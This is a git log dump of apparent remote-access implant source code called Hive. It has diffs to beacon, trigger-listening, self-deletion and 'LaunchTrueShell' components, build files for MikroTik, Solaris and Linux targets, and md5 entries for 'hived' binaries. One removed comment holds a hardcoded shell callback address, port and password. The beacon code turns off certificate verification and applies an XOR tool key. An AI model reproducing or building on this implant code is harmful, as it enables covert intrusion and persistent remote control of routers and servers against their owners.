--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc.md5
@@ -0,0 +1 @@
+1c896041c8bdfd17cadfe36b6e26a6dd ./hived-mikrotik-ppc
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86
new file mode 100755
index 0000000..c256496
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86 differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86-dbg
new file mode 100755
index 0000000..5fa2ded
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86-dbg.md5
new file mode 100644
index 0000000..8d4554c
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86-dbg.md5
@@ -0,0 +1 @@
+c7f58385d4f5e5f05c540a897f015dcc ./hived-mikrotik-x86-dbg
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86.md5
new file mode 100644
index 0000000..458eb7d
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-x86.md5
@@ -0,0 +1 @@
+82c29f3d14f18642f8faf61286ef8c42 ./hived-mikrotik-x86
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc
new file mode 100755
index 0000000..f052700
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc-dbg
new file mode 100755
index 0000000..a4de77a
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc-dbg.md5
new file mode 100644
index 0000000..c897a22
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc-dbg.md5
@@ -0,0 +1 @@
+MD5 (./hived-solaris-sparc-dbg) = f9b78b777a34f5d82aa352c20d743e16
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc.md5
new file mode 100644
index 0000000..965a76e
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-sparc.md5
@@ -0,0 +1 @@
+MD5 (./hived-solaris-sparc) = 536dee049b1ef1042a28385cde8c819b
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86
new file mode 100755
index 0000000..2ccade9
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86 differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86-dbg
new file mode 100755
index 0000000..4995a68
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86-dbg.md5
new file mode 100644
index 0000000..e152053
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86-dbg.md5
@@ -0,0 +1 @@
+MD5 (./hived-solaris-x86-dbg) = ebb7ddbb3c3ebad86b88e87de4ba3c39
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86.md5
new file mode 100644
index 0000000..e8e9fd8
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-solaris-x86.md5
@@ -0,0 +1 @@
+MD5 (./hived-solaris-x86) = 8359e2d274344d98ce3cebefd326f00a
tree 2cde58e84463b4067ff9258680102ed5c12492de
Makefile-include.arm
Makefile-include.linux-x86
Makefile-include.linux-x86_64
Makefile-include.mikrotik-mips
Makefile-include.mikrotik-mipsel
Makefile-include.mikrotik-ppc
Makefile-include.mikrotik-x86
Makefile-include.solaris-sparc
Makefile-include.solaris-x86
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mips
Makefile.mikrotik-mipsel
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
bzip2
bzip2-1.0.6/
crypto/
debug.h
polarssl
polarssl-1.1.8/
ssl
strings/
tree 781e677f13ce2c56fd30bd172c9e3aa2ed0cc15b
.cproject
.project
Doxyfile
Makefile
README
client/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
bzip/bzip2-1.0.6commit 9b9fa3999124dd2960ae8ae45e58abc2574961d5
Merge: eec7828 da05e44
Author: Jack M <jackmc@devlan.net>
Date: Tue Mar 18 15:13:24 2014 -0400
Add enhanced debugging code and fix for Solaris bug.
tag 2.9.1
Tagger: Jack M <jackmc@devlan.net>
Date: Fri Oct 23 11:56:17 2015 -0400
2.9.1
commit a91a7f89c2f408b7eff1624ce15bbe5db1e4c888
Author: Jack M <jackmc@devlan.net>
Date: Fri Oct 23 11:53:31 2015 -0400
Final User's Guide update for 2.9.1 release.
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index 2fc99ae..a33bd08 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
tree b2e03ee82a2283a31545080b8b47a7c03ab3f096
.cproject
.project
Doxyfile
Makefile
README
client/
common/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
snapshot_20140506-1200/
tree 9a212b172266e0096b7d39121c354b843769ee21
CMakeLists.txt
ChangeLog
DartConfiguration.tcl
Hive1_Makefile
LICENSE
Makefile
README
contrib/
crypto.c
crypto.h
hive-changes.txt
include/
library/
programs/
tests/
visualc/
tree 6063c8d2a9b238c7ef6108fa6eaefb594d329d3b
.cproject
.project
Doxyfile
Makefile
README
client/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
tree 6ea37a59891dd441c6cd3f928eece64a656fd993
CHANGES
LICENSE
Makefile
Makefile-libbz2_so
Makefile.arm
Makefile.linux-x86
Makefile.mikrotik-mipsbe
Makefile.mikrotik-mipsle
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.solaris-sparc
Makefile.solaris-x86
README
README.COMPILATION.PROBLEMS
README.XML.STUFF
blocksort.c
bz-common.xsl
bz-fo.xsl
bz-html.xsl
bzdiff
bzdiff.1
bzgrep
bzgrep.1
bzip.css
bzip2.1
bzip2.1.preformatted
bzip2.c
bzip2.txt
bzip2recover.c
bzlib.c
bzlib.h
bzlib_private.h
bzmore
bzmore.1
compress.c
crctable.c
decompress.c
dlltest.c
dlltest.dsp
entities.xml
format.pl
huffman.c
libbz2.def
libbz2.dsp
makefile.msc
manual.html
manual.pdf
manual.ps
manual.xml
mk251.c
randtable.c
sample1.bz2
sample1.ref
sample2.bz2
sample2.ref
sample3.bz2
sample3.ref
spewG.c
unzcrash.c
words0
words1
words2
words3
xmlproc.sh
tag 2.8RC1
Tagger: Jack M <jackmc@devlan.net>
Date: Mon Oct 20 08:11:50 2014 -0400
2.8 Release Candidate 1
commit 1ae18a2a0f4a5aefe277f1dfdb44341cbdb5b876
Merge: 3cb04ee ad3e35f
Author: Michael R <miker@devlan.net>
Date: Fri Oct 17 15:22:07 2014 -0400
Merge branch 'dhm'
tag 2.7.1-RC1
Tagger: Jack M <jackmc@devlan.net>
Date: Wed Apr 2 16:04:50 2014 -0400
Release candidate to fix erroneous exit.
commit 9569a7da2b7e75e4727d5cc3ab18c48f5640a44e
Author: Jack M <jackmc@devlan.net>
Date: Wed Apr 2 16:00:49 2014 -0400
Preliminary update to User's Guide.
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index f8b0961..6aea0f0 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
diff --git a/documentation/UsersGuide/UsersGuide.pdf b/documentation/UsersGuide/UsersGuide.pdf
index 88f0a31..9db2d1c 100644
Binary files a/documentation/UsersGuide/UsersGuide.pdf and b/documentation/UsersGuide/UsersGuide.pdf differ
tag 2.7
Tagger: Jack M <jackmc@devlan.net>
Date: Thu Mar 13 15:36:57 2014 -0400
Final release of Hive-2.7
commit eec78287a26a5e77afca814a78a4bbe2801e657b
Author: Jack M <jackmc@devlan.net>
Date: Thu Mar 13 15:33:32 2014 -0400
Updated User's Guide for release 2.7.
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index da74cd3..f8b0961 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
diff --git a/documentation/UsersGuide/UsersGuide.pdf b/documentation/UsersGuide/UsersGuide.pdf
index 51b74e4..88f0a31 100644
Binary files a/documentation/UsersGuide/UsersGuide.pdf and b/documentation/UsersGuide/UsersGuide.pdf differ
tag 2.8RC4
Tagger: Jack M <jackmc@devlan.net>
Date: Wed Jan 14 15:19:00 2015 -0500
Hive-2.8RC4
commit 5eaa92ed1722d73149bbfdcbf188e28a99dd393c
Author: Jack M <jackmc@devlan.net>
Date: Wed Jan 14 15:18:17 2015 -0500
Include honeycomb.py.md5
diff --git a/honeycomb/honeycomb.py.md5 b/honeycomb/honeycomb.py.md5
new file mode 100644
index 0000000..01b958d
--- /dev/null
+++ b/honeycomb/honeycomb.py.md5
@@ -0,0 +1 @@
+697c15edb45179b7c9fe0f19ad99abfd honeycomb.py
tag 2.9-RC4
Tagger: Jack M <jackmc@devlan.net>
Date: Tue Jun 9 08:03:24 2015 -0400
2.9-RC4
commit 27798188a722067888b1ae38b0edba3c31b7d97f
Author: Jack M <jackmc@devlan.net>
Date: Wed Jun 3 10:49:11 2015 -0400
Update User's Guide
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index 61ff686..9628b55 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
commit 67ab104ef22b83f19b6ffa571eec8a54ad0fa0ee
Author: Michael R <miker@devlan.net>
Date: Mon Sep 8 11:32:41 2014 -0400
Added dhHandshake method to common/crypto/dhExchange.c, client/modes.c and server/client_session.c
diff --git a/client/modes.c b/client/modes.c
index 643c3a8..65d3a78 100644
--- a/client/modes.c
+++ b/client/modes.c
@@ -19,6 +19,7 @@ void Run( struct proc_vars* info, struct trigger_params *trigger_args )
ctr_drbg_context ctr_drbg;
ssl_context ssl;
ssl_session ssn;
+ dhm_context *tunnelDhm;
int sKeyRet;
pthread_mutex_init( &tlock, NULL );
@@ -86,17 +87,34 @@ void Run( struct proc_vars* info, struct trigger_params *trigger_args )
DLX(2, printf( " TLS handshake complete.\n"));
printf( "\n" );
- //Check Diffie Hellman Key...
- //See if Secret Key is available
- sKeyRet=find_DH_SecretKey(&ssl);
+ //Tunnel Dhm
+ tunnelDhm = (dhm_context *) calloc(1, sizeof(dhm_context));
+ //TODO : make sure calloc succeeded...
+ DLX(4, printf( "Beginning to do tunnel Diffie Hellman Handshake.\n"));
+ sKeyRet= dhHandshake( tunnelDhm, &ssl );
if (sKeyRet == 0)
{
- DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ DLX(4, printf(" Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
else
{
- DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ DLX(4, printf(" Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
+ DLX(4, printf( "End of tunnel Diffie Hellman Handshake.\n"));
+ free( tunnelDhm);
+
+ //Check Diffie Hellman Key of ssl... Should modify so we pass in dhm_conext
+ //only in the find_DH_SecretKey method.
+ //See if Secret Key is available
+ //sKeyRet=find_DH_SecretKey(&ssl);
+ //if (sKeyRet == 0)
+ //{
+ // DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ //}
+ //else
+ //{
+ // DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ //}
// The following if statement used to have an else clause to call AutomaticMode() which did nothing.
if ( info->interactive == YES )
diff --git a/common/crypto/dhExchange.c b/common/crypto/dhExchange.c
index dddf679..9fdc8c6 100644
--- a/common/crypto/dhExchange.c
+++ b/common/crypto/dhExchange.c
@@ -19,10 +19,18 @@
#include "polarssl/debug.h"
int find_DH_SecretKey( ssl_context *ssl);
+
+//SSL has already performed a Diffie-Hellman Key exchange and has it's own
+// internal dhm_context witha secret key. We need to create another
+// dhm_context and have it perform another Diffie_Hellman Key Exchange to
+// generate another new secret Key which will be used as the key for aes
+// encryption.
+int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl );
int dhClientExchange( ssl_context *ssl );
-int dhServerExchange( ssl_context *ssl);
+int dhServerExchange( ssl_context *ssl );
+
-int find_DH_SecretKey( ssl_context *ssl)
+int find_DH_SecretKey( ssl_context *ssl )
{
uint8_t * kKey;
@@ -49,7 +57,24 @@ int find_DH_SecretKey( ssl_context *ssl)
return mpiRet;
}
+int dhHandshake( dhm_context *tunnelDhm, ssl_context *ssl )
+{
+ int dhRet = -99;
+ if ( ssl->endpoint == SSL_IS_CLIENT )
+ {
+ DLX(4, printf( "Will attempt dhClientExchange in ../common/crypto/dhExchange.c.\n"));
+ //dhRet = dhClientExchange( ssl ); //Should this return an error/success code?
+ }
+ else
+ {
+ DLX(4, printf( "Will attempt dhServerExchange in ../common/crypto/dhExchange.c.\n"));
+ //dhRet = dhServerExchange( ssl ); //Should this return an error/success code?
+ }
+
+ return dhRet;
+
+}
//Will use ssl_write and ssl_read since connection already exists.
////#define SERVER_PORT 11999
diff --git a/server/client_session.c b/server/client_session.c
index ff83814..1fc0d6f 100644
--- a/server/client_session.c
+++ b/server/client_session.c
@@ -430,6 +430,7 @@ unsigned long StartClientSession( int sock )
int retval = 0;
char* commandpath = 0;
int sKeyRet;
+ dhm_context *tunnelDhm;
DL(2);
// we have an established TCP/IP connection
@@ -452,17 +453,31 @@ unsigned long StartClientSession( int sock )
}
DLX(3, printf("TLS handshake complete.\n"));
- //Check Diffie Hellman Key...
- //See if Secret Key is available
- sKeyRet=find_DH_SecretKey(&trig_ssl);
+ //Tunnel Dhm
+ tunnelDhm = (dhm_context *) calloc(1, sizeof(dhm_context));
+ //TODO : make sure calloc succeeded...
+ DLX(4, printf( "Beginning to do tunnel Diffie Hellman Handshake.\n"));
+ sKeyRet= dhHandshake( tunnelDhm, &trig_ssl );
if (sKeyRet == 0)
{
- DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ DLX(4, printf("Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
else
{
- DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ DLX(4, printf("Tunnel Diffie Hellman Handshake returned %d.\n", sKeyRet));
}
+
+ //Check Diffie Hellman Key...
+ //See if Secret Key is available
+ //sKeyRet=find_DH_SecretKey(&trig_ssl);
+ //if (sKeyRet == 0)
+ //{
+ // DLX(4, printf( "A DH Secret Key was NOT found.\n"));
+ //}
+ //else
+ //{
+ // DLX(4, printf( "A DH Secret Key K was found, returned %d.\n",sKeyRet));
+ //}
while(!fQuit)
{
commit 122dc550c4ee8a4b707508d3072e33789f7195af
Author: Jack M <jackmc@devlan.net>
Date: Thu Mar 13 11:03:46 2014 -0400
Fixed a bug in crypto.c / crypt_read().
A POLARSSL_ERR_NET_TRY_AGAIN error from the ssl_read would cause a return, rather than retrying the read; added a 'continue' to cause ssl_read to be called again.
diff --git a/ilm-client/Command.cpp b/ilm-client/Command.cpp
index 238a747..5ecccd0 100644
--- a/ilm-client/Command.cpp
+++ b/ilm-client/Command.cpp
@@ -286,14 +286,6 @@ ProcessCmdResponse Command::LaunchTrueShell::Process(binary& arguments)
// TODO: Jeremy should inspect his code which fills the sbuf with the command string
snprintf(sbuf.path, 254, "%s %s %s", args.ip_str, args.port_str, args.pass_str);
sbuf.size=strlen(sbuf.path);
- // TODO: Jeremy should delete this commented section below which was hardcoded and tested 21 Oct 2011...
- //sprintf(sbuf.path, "10.3.2.35 4321 metallica");
- //sbuf.size=strlen("10.3.2.35 4321 metallica");
-
- printf("\n\n NOTE FOR SOLARIS ONLY: Keep all shells open until you are done.\n");
- printf(" Once you close any solaris shell, the trigger will appear normal\n");
- printf(" but it is no longer connected. In this case, you must quit the\n");
- printf(" trigger and then retrigger the device.\n\n\n");
if ( myConn->TxCommand( &sbuf, &rbuf, LAUNCHTRUESHELL ) < 0 )
{
diff --git a/server/beacon.c b/server/beacon.c
index bc82b16..3341213 100644
--- a/server/beacon.c
+++ b/server/beacon.c
@@ -582,10 +582,10 @@ static int send_beacon_data(BEACONINFO* beaconInfo, unsigned long uptime, int ne
}
//setup ssl
- DLX(4, printf("\tSetup crypto\n"));
+ DLX(7, printf("\tSetup crypto\n"));
if(crypt_setup_client( &hs, &ssl, &ssn, &sock ) != SUCCESS)
{
- DLX(4, printf("\tERROR: crypt_setup_client()\n"));
+ DLX(7, printf("\tERROR: crypt_setup_client()\n"));
retval = FAILURE;
goto EXIT;
}
@@ -596,15 +596,15 @@ static int send_beacon_data(BEACONINFO* beaconInfo, unsigned long uptime, int ne
ssl.xor_key = TOOL_ID_XOR_KEY;
//perform an SSL handshake
- DLX(4, printf("\tPerform SSL handshake\n"));
+ DLX(7, printf("\tPerform SSL handshake\n"));
if( crypt_handshake(&ssl) != SUCCESS)
{
- DLX(2, printf( "\tERROR: SSL connection with SSL server failed to initialize.\n"));
+ DLX(7, printf( "\tERROR: SSL connection with SSL server failed to initialize.\n"));
retval = FAILURE;
goto EXIT;
}
- DLX(4, printf("\tHandshake Complete!\n"));
+ DLX(7, printf("\tHandshake Complete!\n"));
//turn off the ssl encryption since we us our own
ssl.do_crypt = 0;
@@ -614,9 +614,9 @@ static int send_beacon_data(BEACONINFO* beaconInfo, unsigned long uptime, int ne
//embed the data size so the server knows how much data to read
embedSize(encrypt_size,randData);
- DLX(4, printf("\tEncrypt_size is %d \n", encrypt_size));
+ DLX(7, printf("\tEncrypt_size is %d \n", encrypt_size));
- DLX(4, printf( "\tSending the first 64 bytes with data size encoded in random data\n"));
+ DLX(7, printf( "\tSending the first 64 bytes with data size encoded in random data\n"));
//send the bytes
if( 0 > crypt_write(&ssl, randData,64) )
{ //TODO: this is probably no the best check... maybe 32 > cryptwrite
@@ -664,7 +664,7 @@ static int send_beacon_data(BEACONINFO* beaconInfo, unsigned long uptime, int ne
{
sz_to_send = encrypt_size - bytes_sent;
}
- DLX(4, printf("\tSending: %d bytes\n", sz_to_send));
+ DLX(7, printf("\tSending: %d bytes\n", sz_to_send));
//reset the buffer
memset(randData, 0, 64);
diff --git a/server/client_session.c b/server/client_session.c
index eb5dd1d..48f2d44 100644
--- a/server/client_session.c
+++ b/server/client_session.c
@@ -467,8 +467,10 @@ unsigned long StartClientSession( int sock )
// Receive(sock, (unsigned char*)&cmd, sizeof(cmd), CMD_TIMEOUT);
//TODO: Fix this. There's nothing in this loop after removing the WIN32 code.
- if( 0 > crypt_read( &trig_ssl, (unsigned char *)&cmd, sizeof( COMMAND ) ) )
+ if(crypt_read( &trig_ssl, (unsigned char *)&cmd, sizeof( COMMAND )) <= 0)
{
+ DLX(3, printf("crypt_read failed to return data\n"));
+ continue;
}
alarm( 0 );
diff --git a/server/polarssl-0.14.0/crypto.c b/server/polarssl-0.14.0/crypto.c
index e68fbb5..a9ce5d5 100644
--- a/server/polarssl-0.14.0/crypto.c
+++ b/server/polarssl-0.14.0/crypto.c
@@ -14,152 +14,130 @@ extern "C" {
//*******************************************************
#define DEBUG_LEVEL 0
-//*******************************************************
-void my_debug( void *ctx, int level, const char *str )
-{
- if( level < DEBUG_LEVEL )
- {
- fprintf( (FILE *) ctx, "%s", str );
- fflush( (FILE *) ctx );
- }
-}
+ void my_debug(void *ctx, int level, const char *str) {
+ if (level < DEBUG_LEVEL) {
+ fprintf((FILE *) ctx, "%s", str);
+ fflush((FILE *) ctx);
+ }
+ }
//*******************************************************
-int crypt_handshake( ssl_context *ssl )
-{
- int ret;
- /*
- * 5. Handshake
- */
- DLX(4, printf( "\tPerforming the TLS handshake... "));
-
- while( ( ret = ssl_handshake( ssl ) ) != 0 )
- {
- if( ret != POLARSSL_ERR_NET_TRY_AGAIN )
- {
- DLX(4, printf( "failed, returned: %d\n", ret));
- return -1;
- }
- }
-
- DLX(4, printf( "ok\n"));
-
- return 0;
-}
+ int crypt_handshake(ssl_context * ssl) {
+ int ret;
+
+ DLX(4, printf("Performing the TLS handshake..."));
+ while ((ret = ssl_handshake(ssl)) != 0) {
+ if (ret != POLARSSL_ERR_NET_TRY_AGAIN) {
+ DLX(4, printf(" ERROR: ssl_handshake returned %d\n", ret));
+ return -1;
+ }
+ }
+
+ DLX(4, printf("TLS handshake successful\n"));
+
+ return 0;
+ }
//*******************************************************
-int crypt_write( ssl_context *ssl, unsigned char *buf, int size )
-{
- int ret;
+ int crypt_write(ssl_context * ssl, unsigned char *buf, int size) {
+ int ret;
- DL(4);
+ DL(5);
- while( ( ret = ssl_write( ssl, buf, size ) ) <= 0 )
- {
- if( ret != POLARSSL_ERR_NET_TRY_AGAIN )
- {
- DLX(4, printf( " failed. ssl_write returned %d\n", ret ));
- return ret;
- }
- }
+ while ((ret = ssl_write(ssl, buf, size)) <= 0) {
+ if (ret != POLARSSL_ERR_NET_TRY_AGAIN) {
+ DLX(5, printf("ERROR: ssl_write returned %d\n", ret));
+ return ret;
+ }
+ }
- DLX(4, printf( " %d bytes written\n", ret));
- return ret;
+ DLX(5, printf("%d bytes written\n", ret));
+ return ret;
-}
+ }
//*******************************************************
-int crypt_read( ssl_context *ssl, unsigned char *buf, int bufsize )
-{
- int ret;
-
- // TODO: look at this do/while loop again. it only runs once.
- // does it serve any other purpose?
- do
- {
- memset( buf, 0, bufsize );
-
- ret = ssl_read( ssl, buf, bufsize );
-
- if( ret == POLARSSL_ERR_NET_TRY_AGAIN )
- {
- DLX(4, printf( "POLARSSL_ERR_NET_TRY_AGAIN\n"));
- continue;
- }
+ int crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize) {
+ int ret;
- if( ret == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY )
- {
- DLX(4, printf( "POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY\n"));
- break;
- }
+ // TODO: look at this do/while loop again. it only runs once.
+ // does it serve any other purpose?
+ do {
+ memset(buf, 0, bufsize);
- if( ret <= 0 )
- {
- DLX(4, printf( "ERROR: crypt_read() failed. ssl_read returned %d\n", ret));
- break;
- }
+ ret = ssl_read(ssl, buf, bufsize);
- DLX(4, printf( "crypt_read(): %d bytes read\n", ret ));
- }
- while( 0 );
+ if (ret == POLARSSL_ERR_NET_TRY_AGAIN) {
+ DLX(5, printf("ERROR: ssl_read() returned POLARSSL_ERR_NET_TRY_AGAIN, retrying...\n"));
+ continue;
+ }
- return ret;
-}
+ if (ret == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
+ DLX(5, printf("ERROR: ssl_read() returned POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY\n"));
+ break;
+ }
+
+ if (ret <= 0) {
+ DLX(5, printf("ERROR: ssl_read() failed with error: %d\n", ret));
+ break;
+ }
+
+ DLX(5, printf("ssl_read(): %d bytes read\n", ret));
+ }
+ while (0);
+
+ return ret;
+ }
//*******************************************************
-int crypt_close_notify( ssl_context *ssl)
-{
- return ssl_close_notify( ssl );
-}
+ int crypt_close_notify(ssl_context * ssl) {
+ return ssl_close_notify(ssl);
+ }
//*******************************************************
-int crypt_setup_client( havege_state *hs, ssl_context *ssl, ssl_session *ssn, int *sockfd )
-{
- int ret;
-
- /*
- * 0. Initialize the RNG and the session data
- */
- havege_init( hs );
- memset( ssn, 0, sizeof( ssl_session ) );
-
- /*
- * 2. Setup stuff
- */
- DLX(4, printf( "\tInitializing the TLS structure..."));
-
- if( ( ret = ssl_init( ssl ) ) != 0 )
- {
- DLX(4, printf( " failed, ssl_init returned: %d\n", ret));
- return -1;
- }
- DLX(4, printf( " ok\n"));
-
- ssl_set_endpoint( ssl, SSL_IS_CLIENT );
- ssl_set_authmode( ssl, SSL_VERIFY_NONE );
-
- ssl_set_rng( ssl, havege_rand, hs );
- ssl_set_dbg( ssl, my_debug, stdout );
- ssl_set_bio( ssl, net_recv, sockfd, net_send, sockfd );
-
- ssl_set_ciphers( ssl, ssl_default_ciphers );
- ssl_set_session( ssl, 1, 600, ssn );
-
- return 0;
-}
+ int crypt_setup_client(havege_state * hs, ssl_context * ssl, ssl_session * ssn, int *sockfd) {
+ int ret;
+
+ /*
+ * 0. Initialize the RNG and the session data
+ */
+ havege_init(hs);
+ memset(ssn, 0, sizeof(ssl_session));
+
+ /*
+ * 2. Setup stuff
+ */
+ DLX(5, printf("Initializing the TLS structure..."));
+
+ if ((ret = ssl_init(ssl)) != 0) {
+ DLX(5, printf("ERROR: ssl_init returned: %d\n", ret));
+ return -1;
+ }
+ DLX(5, printf("SSL initialized\n"));
+
+ ssl_set_endpoint(ssl, SSL_IS_CLIENT);
+ ssl_set_authmode(ssl, SSL_VERIFY_NONE);
+
+ ssl_set_rng(ssl, havege_rand, hs);
+ ssl_set_dbg(ssl, my_debug, stdout);
+ ssl_set_bio(ssl, net_recv, sockfd, net_send, sockfd);
+
+ ssl_set_ciphers(ssl, ssl_default_ciphers);
+ ssl_set_session(ssl, 1, 600, ssn);
+
+ return 0;
+ }
//*******************************************************
-int crypt_cleanup( ssl_context *ssl )
-{
- ssl_free( ssl );
+ int crypt_cleanup(ssl_context * ssl) {
+ ssl_free(ssl);
- memset( ssl, 0, sizeof( ssl_context ) );
+ memset(ssl, 0, sizeof(ssl_context));
- return 0;
-}
+ return 0;
+ }
#ifdef __cplusplus
}
#endif
-
diff --git a/server/self_delete.c b/server/self_delete.c
index 3dafe1c..c1d7916 100644
--- a/server/self_delete.c
+++ b/server/self_delete.c
@@ -203,7 +203,7 @@ void update_file(char* filepath)
int ret=1234;
FILE* timeFile;
ret = utime(filepath, NULL);
- DLX(5, printf("Initial return from update_file utime = %i\n", ret));
+ DLX(6, printf("Initial return from update_file utime = %i\n", ret));
if (ret != 0)
{
DLX(3, perror("Initial update via utime failed."));
@@ -221,7 +221,7 @@ void update_file(char* filepath)
}
else
{
- DLX(5, printf("File %s updated correctly via utime...\n", filepath));
+ DLX(6, printf("File %s updated correctly via utime...\n", filepath));
}
return;
}
diff --git a/server/trigger_listen.c b/server/trigger_listen.c
index 0c8266a..0dd02da 100644
--- a/server/trigger_listen.c
+++ b/server/trigger_listen.c
@@ -334,7 +334,7 @@ void sigchld_reaper (int x)
pid = waitpid (-1, &waiter, WNOHANG);
-DLX(5,
+DLX(9,
switch (pid) {
case -1:
tag 2.8.1-RC1
Tagger: Jack M <jackmc@devlan.net>
Date: Mon Mar 9 09:24:05 2015 -0400
Hive pre-release 2.8.1-RC1
commit ae2eb164103ce612d556a1a09720a544738b409b
Author: Jack M <jackmc@devlan.net>
Date: Mon Mar 2 14:38:09 2015 -0500
Fix CFLAGS to include missing flags for MikroTik beacons.
diff --git a/common/Makefile-include.mikrotik-mips b/common/Makefile-include.mikrotik-mips
index 55034a9..8b71155 100644
--- a/common/Makefile-include.mikrotik-mips
+++ b/common/Makefile-include.mikrotik-mips
@@ -13,8 +13,9 @@ STRIP=${BUILDTOOLS}/$(ARCH)-linux-sstrip
CFLAGS += -I$(UCLIBC_HDRS) -L$(UCLIBC_LIBS)
CFLAGS += -DLINUX -DMIKROTIK -D_MIPS -static
-CFLAGS += -D_MIPS_SZPTR=32 -D_BIG_ENDIAN
+CFLAGS += -D_MIPS_SZPTR=32 -D_BIG_ENDIAN -D__BYTE_ORDER=BIG_ENDIAN
CFLAGS += -DUCLIBC
+CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_USE_ASH -D_GNU_SOURCE
LDFLAGS += -lutil
diff --git a/common/Makefile-include.mikrotik-mipsel b/common/Makefile-include.mikrotik-mipsel
index 6b33d72..64c44de 100644
--- a/common/Makefile-include.mikrotik-mipsel
+++ b/common/Makefile-include.mikrotik-mipsel
@@ -15,7 +15,7 @@ CFLAGS += -I$(UCLIBC_HDRS) -L$(UCLIBC_LIBS)
CFLAGS += -DLINUX -DMIKROTIK -D_MIPSEL -static
CFLAGS += -D_MIPS_SZPTR=32
CFLAGS += -D__BYTE_ORDER=LITTLE_ENDIAN
-CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_USE_ASH
+CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_USE_ASH -D_GNU_SOURCE
